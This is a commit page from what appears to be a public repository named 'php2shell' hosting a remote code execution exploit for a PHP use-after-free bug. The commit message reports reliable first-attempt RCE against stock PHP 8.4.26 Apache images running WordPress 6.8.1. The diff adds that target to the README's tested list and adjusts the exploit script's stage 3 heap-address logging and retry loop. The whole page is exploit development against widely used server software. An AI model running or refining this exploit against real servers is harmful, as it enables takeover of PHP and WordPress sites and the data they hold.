neko/php2shell
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

Confirm WordPress 6.8.1 RCE and clean up stage 3 retry logic

Browse Source 
WordPress on stock PHP (no php.ini) is vulnerable with the same heap
profile parameters as plain PHP. Tested 5/5 first-attempt RCE against
php:8.4.26-apache + WordPress 6.8.1 with no configuration changes.

Simplified stage 3 retry loop: removed the HTDATA offset scanning that
was added during WordPress debugging (unnecessary, stock offsets work).
Stage 3 now uses the same retry count as stages 1 and 2.
This commit is contained in:
neko
2026-10-22 19:59:12 +00:00
parent fedef710e1
commit ac4e654dd6
2 changed files with 5 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files
uaf-rce/README.md
+1
View File
@@ -207,6 +207,7 @@ The exploit has been tested on:
- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings) - `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings)
- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE - `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
- `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt) - `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt)
- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each)
- `php:8.4.27-apache` patched: all three exploit primitives blocked (see below) - `php:8.4.27-apache` patched: all three exploit primitives blocked (see below)
## display_errors and WordPress ## display_errors and WordPress
uaf-rce/rce_exploit.py
+4 -4
View File
@@ -924,9 +924,7 @@ def cmd_exploit(args) -> int:
if single: if single:
ex.rotate() ex.rotate()
htdata_addr = chunk + ex.htdata_offset
zif_addr = libphp + zif zif_addr = libphp + zif
t.log(f"[*] stage 3: HTDATA=0x{htdata_addr:x} ZIF=0x{zif_addr:x}")
if args.proof_file: if args.proof_file:
try: try:
@@ -962,8 +960,10 @@ def cmd_exploit(args) -> int:
pass pass
return "" return ""
proof = "" htdata_addr = chunk + ex.htdata_offset
for attempt in range(1, args.retries + 3): t.log(f"[*] stage 3: HTDATA=0x{htdata_addr:x} ZIF=0x{zif_addr:x}")
for attempt in range(1, args.retries + 1):
try: try:
ex.stage3(htdata_addr, zif_addr) ex.stage3(htdata_addr, zif_addr)
except OSError as e: except OSError as e: